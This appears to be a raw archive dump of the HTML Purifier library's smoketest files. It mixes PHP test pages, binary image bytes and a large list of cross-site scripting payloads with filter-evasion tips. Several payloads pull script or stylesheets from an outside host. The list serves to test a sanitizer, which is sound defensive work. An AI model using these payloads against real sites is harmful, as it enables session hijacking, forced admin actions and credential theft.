<a href="?d=<?php echo (int) !$strict; ?>&p=<?php echo $page ?>">Swap</a></div>
<a href="http://validator.w3.org/check?uri=referer"><img
src="http://www.w3.org/Icons/valid-xhtml10"
alt="Valid XHTML 1.0 Transitional" height="31" width="88" style="border:0;" /></a>
</div>
<?php
$config = HTMLPurifier_Config::createDefault();
$config->set('Attr.EnableID', true);
$config->set('HTML.Strict', $strict);
$purifier = new HTMLPurifier($config);
echo $purifier->purify(file_get_contents("basic/$page.html"));
} else {
?>
<h1>HTML Purifier Basic Smoketest Index</h1>
<ul>
<?php
foreach ($allowed as $val => $b) {
?><li><a href="?p=<?php echo $val ?>"><?php echo $val ?></a></li><?php
}
?></ul><?php
}
?>
</body>
</html>
<?php
// vim: et sw=4 sts=4
PK j�$Z�� B
& htmlpurifier/smoketests/configForm.phpnu �[��� <?php
require_once 'common.php';
// Setup environment
require_once '../extras/HTMLPurifierExtras.auto.php';
$interchange = HTMLPurifier_ConfigSchema_InterchangeBuilder::buildFromDirectory('test-schema/');
$interchange->validate();
if (isset($_GET['doc'])) {
// Hijack page generation to supply documentation
if (file_exists('test-schema.html') && !isset($_GET['purge'])) {
echo file_get_contents('test-schema.html');
exit;
}
$style = 'plain';
$configdoc_xml = 'test-schema.xml';
$xml_builder = new HTMLPurifier_ConfigSchema_Builder_Xml();
$xml_builder->openURI($configdoc_xml);
$xml_builder->build($interchange);
unset($xml_builder); // free handle
$xslt = new ConfigDoc_HTMLXSLTProcessor();
$xslt->importStylesheet("../configdoc/styles/$style.xsl");
$xslt->setParameters(array(
'css' => '../configdoc/styles/plain.css',
));
$html = $xslt->transformToHTML($configdoc_xml);
unlink('test-schema.xml');
file_put_contents('test-schema.html', $html);
echo $html;
exit;
}
?><!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>HTML Purifier Config Form Smoketest</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<link rel="stylesheet" href="../library/HTMLPurifier/Printer/ConfigForm.css" type="text/css" />
<script defer="defer" type="text/javascript" src="../library/HTMLPurifier/Printer/ConfigForm.js"></script>
</head>
<body>
<h1>HTML Purifier Config Form Smoketest</h1>
<p>This file outputs the configuration form for every single type
of directive possible.</p>
<form id="htmlpurifier-config" name="htmlpurifier-config" method="get" action=""
style="float:right;">
<?php
$schema_builder = new HTMLPurifier_ConfigSchema_Builder_ConfigSchema();
$schema = $schema_builder->build($interchange);
$config = HTMLPurifier_Config::loadArrayFromForm($_GET, 'config', true, true, $schema);
$printer = new HTMLPurifier_Printer_ConfigForm('config', '?doc#%s');
echo $printer->render(array(HTMLPurifier_Config::createDefault(), $config));
?>
</form>
<pre>
<?php
echo htmlspecialchars(var_export($config->getAll(), true));
?>
</pre>
</body>
</html>
<?php
// vim: et sw=4 sts=4
PK j�$Z,?l / htmlpurifier/smoketests/variableWidthAttack.phpnu �[��� <?php
require_once 'common.php';
echo '<?xml version="1.0" encoding="UTF-8" ?>';
?><!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>HTML Purifier Variable Width Attack Smoketest</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
<h1>HTML Purifier Variable Width Attack Smoketest</h1>
<p>For more information, see
<a href="http://applesoup.googlepages.com/bypass_filter.txt">Cheng Peng Su's
original advisory.</a> This particular exploit code appears only to work
in Internet Explorer, if it works at all.</p>
<h2>Test</h2>
<?php
$purifier = new HTMLPurifier();
?>
<table>
<thead><tr><th>ASCII</th><th width="30%">Raw</th><th>Output</th><th>Render</th></tr></thead>
<tbody>
<?php
for ($i = 0; $i < 256; $i++) {
$c = chr($i);
$html = '<img src="" alt="X' . $c . '"';
$html .= '>A"'; // in our out the attribute? ;-)
$html .= "onerror=alert('$i')>O";
$pure_html = $purifier->purify($html);
?>
<tr>
<td><?php echo $i; ?></td>
<td style="font-size:8pt;"><?php echo escapeHTML($html); ?></td>
<td style="font-size:8pt;"><?php echo escapeHTML($pure_html); ?></td>
<td><?php echo $pure_html; ?></td>
</tr>
<?php } ?>
</tbody>
</table>
<h2>Analysis</h2>
<p>By making sure that UTF-8 is well formed and non-SGML codepoints are
removed, as well as escaping quotes outside of tags, this is a non-threat.</p>
</body>
</html>
<?php
// vim: et sw=4 sts=4
PK j�$Z�b�mZ Z htmlpurifier/smoketests/img.pngnu �[��� �PNG
IHDR @ @ �iq� bKGD � � ����� pHYs �� tIME�
6�g� �IDATx��kl���{���v �q��Ԡ�G%S�
�JHU#�IQ�ҼTWP�T!j�RD�x���(%Q�RU��Ҥv��i�P�ڢ�%@
�!�Ɖml�]�����1�..��� �� i���ݙs����s�=�����Y$w�d d d d d d d d ܵb���ˁ%@P �&�� W�K�Y�� ��+���Gaa!���O0����h4
0� ~ �^)(<J��ׁ��ʲ�2֯_ϪU�(--Ų,@ ��c�4�X���.���9p� W�\� <��� | � ,���g۶�T/�F���Z|�2)"��8\�x� ۷��� p�.���
���SYY�O�=O�}�!����F�R1!��o[�9����� ?6��PZL�}
��@�W�/���JJp����kM���q4��W\̣�=���(�O��?�L_"����
�={�e� ��۱�u^)��Bp����Է�R��B� �����^b�ʕ�v��=�ia'���54� _��t�����v�g �c;��� �C¶�,/�d�|���5@��l x�ŵkٰᛌEc$l�q<?� ���Zz��8�ֶh�gr
���KK����+��~���>�$���W��]]g����& ��nzz3~����afZF#
6=��o?��ҤN���|`㲺�,�]L_(�m;�����,�]̲��nm��,ݰy2 j oh�P���ЬfsE���xC�[[j����k �-*b~y��B�E��
�Ւ��x"Aqi9E������� J��+>����,��D�q��2 C!�@k��Ja;6N*����)��(���~o j\�Ա�+ u���{�9��?�8�h܍�L�@J J�P�, ��5eX(%1
��4�s)R��!P�d(�42:�'��x�P㜤��{`�##c��s� ��a������cY>L�d,��B��,�5^)�����@ ��^b�9�RyC�xk Q� �Q�Ķ�K�P!����7D
�
J)�
���&�
�7��������&� ���C� ��
��ùad��AHEv ���`��>��,�T�T12���wBN4R& �ie�e����v4Q�&��8۶��
0 ,�@��3WG�B��9!����ޢ����L��m�;��9�vu���Ua۶���8Z��� ����rT�{^ q ���'����
�g#�' ��8�G��3%Z I'� ���m���>�"� �100 ��Y�5��� ���5B
:;��=��^h�
�C���O��cǎ\K�� ��CD��n��/%�X�� �� ��X�kW{�c�� ��R\��ΥK�\��8�� :��>���Yu��R�m� ��Б��s a���� ʴf
��g���ʉ�?��$6Q'�� g:�}���u�2f�,����<�yK��4) 2��[�H�s--�7Vr��ϲ�R�{�n�t^x�I ����� .�� e���{B�rhjl�p���D7M�~S�:�
�H)(.+CJ� �t+DB�N��[�I]��=G�y�b|]�5���JJ �(�ˣ��;��}���
7�f ��T�����h�{�L0t� �2L�v��~��-��T ����Hr�Y�z�������J,�5e �Bb�N��~�]#��q�n� �NW@x�
��t�<�i1�d �2g� ����@��x���g���n��7�M{o�S�l��/*�v�����%�*�"y.�D��R��X���{ }��_~���M��iu�� �������D"�a?��$� (����f!�UY9(Sa2C��v���+�?s���� �!�&)�0�����ɓ� ��� �q��Q�n�J8����Mmr�?'�@^ �� b�1��C��\Gk�l����gǎ �^��4Y�h�7 �����n< �����;w24�b�io����c˖-�Y�˲p ۶�p'J�Y: �n���lw�Q� IEND�B`�PK j�$Z��q�p p . htmlpurifier/smoketests/extractStyleBlocks.phpnu �[��� <?php
require_once 'common.php';
require_once 'HTMLPurifier/Filter/ExtractStyleBlocks.php';
// need CSSTidy location
$csstidy_location = false;
if (file_exists('../conf/test-settings.php')) include '../conf/test-settings.php';
if (file_exists('../test-settings.php')) include '../test-settings.php';
if (!$csstidy_location) {
?>
Error: <a href="http://csstidy.sourceforge.net/">CSSTidy</a> library not
found, please install and configure <code>test-settings.php</code>
accordingly.
<?php
exit;
}
require_once $csstidy_location . 'class.csstidy.php';
require_once $csstidy_location . 'class.csstidy_print.php';
$purifier = new HTMLPurifier(array(
'Filter.ExtractStyleBlocks' => true,
));
$html = isset($_POST['html']) ? $_POST['html'] : '';
$purified_html = $purifier->purify($html);
?><!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Extract Style Blocks - HTML Purifier Smoketest</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<?php
// generate style blocks
foreach ($purifier->context->get('StyleBlocks') as $style) {
?><style type="text/css">
<!--/*--><![CDATA[/*><!--*/
<?php echo $style; ?>
/*]]>*/-->
</style>
<?php
}
?>
</head>
<body>
<h1>Extract Style Blocks</h1>
<p>
This smoketest allows users to specify global style sheets for the
document, allowing for interesting techniques and compact markup
that wouldn't normally be possible, using the ExtractStyleBlocks filter.
</p>
<p>
User submitted content:
</p>
<div style="border: 1px solid #CCC; margin: 1em; padding: 1em;">
<?php echo $purified_html ?>
</div>
<form action="" method="post">
<textarea cols="100" rows="20" name="html"><?php echo escapeHTML($html) ?></textarea>
<input type="submit" value="Submit" />
</form>
</body>
</html>
<?php
// vim: et sw=4 sts=4
PK j�$Zd��n n & htmlpurifier/smoketests/xssAttacks.xmlnu �[��� <?xml version="1.0"?>
<xss>
<attack>
<name>XSS Locator</name>
<code>';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}</code>
<desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably.</desc>
<label>Basic XSS Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>XSS Quick Test</name>
<code>'';!--"<XSS>=&{()}</code>
<desc>If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus &lt;XSS to see if it is vulnerable.</desc>
<label>Basic XSS Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>SCRIPT w/Alert()</name>
<code><SCRIPT>alert('XSS')</SCRIPT></code>
<desc>Basic injection attack</desc>
<label>Basic XSS Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>SCRIPT w/Source File</name>
<code><SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT></code>
<desc>No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here).</desc>
<label>Basic XSS Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>SCRIPT w/Char Code</name>
<code><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT></code>
<desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up.</desc>
<label>Basic XSS Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>BASE</name>
<code><BASE HREF="javascript:alert('XSS');//"></code>
<desc>Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>BGSOUND</name>
<code><BGSOUND SRC="javascript:alert('XSS');"></code>
<desc>BGSOUND</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>BODY background-image</name>
<code><BODY BACKGROUND="javascript:alert('XSS');"></code>
<desc>BODY image</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>BODY ONLOAD</name>
<code><BODY ONLOAD=alert('XSS')></code>
<desc>BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack)</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>DIV background-image 1</name>
<code><DIV STYLE="background-image: url(javascript:alert('XSS'))"></code>
<desc>Div background-image</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>DIV background-image 2</name>
<code><DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"></code>
<desc>Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279)</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>DIV expression</name>
<code><DIV STYLE="width: expression(alert('XSS'));"></code>
<desc>Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression"</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>FRAME</name>
<code><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET></code>
<desc>Frame (Frames have the same sorts of XSS problems as iframes).</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>IFRAME</name>
<code><IFRAME SRC="javascript:alert('XSS');"></IFRAME></code>
<desc>Iframe (If iframes are allowed there are a lot of other XSS problems as well).</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>INPUT Image</name>
<code><INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"></code>
<desc>INPUT Image</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>IMG w/JavaScript Directive</name>
<code><IMG SRC="javascript:alert('XSS');"></code>
<desc>Image XSS using the JavaScript directive.</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>IMG No Quotes/Semicolon</name>
<code><IMG SRC=javascript:alert('XSS')></code>
<desc>No quotes and no semicolon</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>IMG Dynsrc</name>
<code><IMG DYNSRC="javascript:alert('XSS');"></code>
<desc>IMG Dynsrc</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>IMG Lowsrc</name>
<code><IMG LOWSRC="javascript:alert('XSS');"></code>
<desc>IMG Lowsrc</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>IMG Embedded commands 1</name>
<code><IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"></code>
<desc>This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors.</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>IMG Embedded commands 2</name>
<code>Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser</code>
<desc>IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>IMG STYLE w/expression</name>
<code>exp/*<XSS STYLE='no\xss:noxss("*//*");
xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'></code>
<desc>IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop).</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>List-style-image</name>
<code><STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</code>
<desc>Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector.</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>IMG w/VBscript</name>
<code><IMG SRC='vbscript:msgbox("XSS")'></code>
<desc>VBscript in an image</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>LAYER</name>
<code><LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER></code>
<desc>Layer (Older Netscape only)</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser>
</attack>
<attack>
<name>Livescript</name>
<code><IMG SRC="livescript:[code]"></code>
<desc>Livescript (Older Netscape only)</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser>
</attack>
<attack>
<name>US-ASCII encoding</name>
<code>%BCscript%BEalert(%A2XSS%A2)%BC/script%BE</code>
<desc>Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>]</browser>
</attack>
<attack>
<name>META</name>
<code><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"></code>
<desc>The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs.</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>META w/data:URL</name>
<code><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"></code>
<desc>This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>META w/additional URL parameter</name>
<code><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"></code>
<desc>Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>Mocha</name>
<code><IMG SRC="mocha:[code]"></code>
<desc>Mocha (Older Netscape only)</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser>
</attack>
<attack>
<name>OBJECT</name>
<code><OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT></code>
<desc>If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>OBJECT w/Embedded XSS</name>
<code><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT></code>
<desc>Using an OBJECT tag you can embed XSS directly (this is unverified).</desc>
<label>HTML Element Attacks</label>
<browser>Browser support:</browser>
</attack>
<attack>
<name>Embed Flash</name>
<code><EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED></code>
<desc>Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html :</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>OBJECT w/Flash 2</name>
<code>a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d);</code>
<desc>Using this action script inside flash can obfuscate your XSS vector.</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>STYLE</name>
<code><STYLE TYPE="text/javascript">alert('XSS');</STYLE></code>
<desc>STYLE tag (Older versions of Netscape only)</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>]</browser>
</attack>
<attack>
<name>STYLE w/Comment</name>
<code><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"></code>
<desc>STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one)</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>STYLE w/Anonymous HTML</name>
<code><XSS STYLE="xss:expression(alert('XSS'))"></code>
<desc>Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter)</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>STYLE w/background-image</name>
<code><STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A></code>
<desc>STYLE tag using background-image.</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>STYLE w/background</name>
<code><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE></code>
<desc>STYLE tag using background.</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>]</browser>
</attack>
<attack>
<name>Stylesheet</name>
<code><LINK REL="stylesheet" HREF="javascript:alert('XSS');"></code>
<desc>Stylesheet</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Remote Stylesheet 1</name>
<code><LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"></code>
<desc>Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page.</desc>
<label>HTML Element Attacks</label>
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
</attack>
<attack>
<name>Remote Stylesheet 2</name>
<code><STYLE>@import'http://ha.ckers.org/xss.css';</STYLE></code>
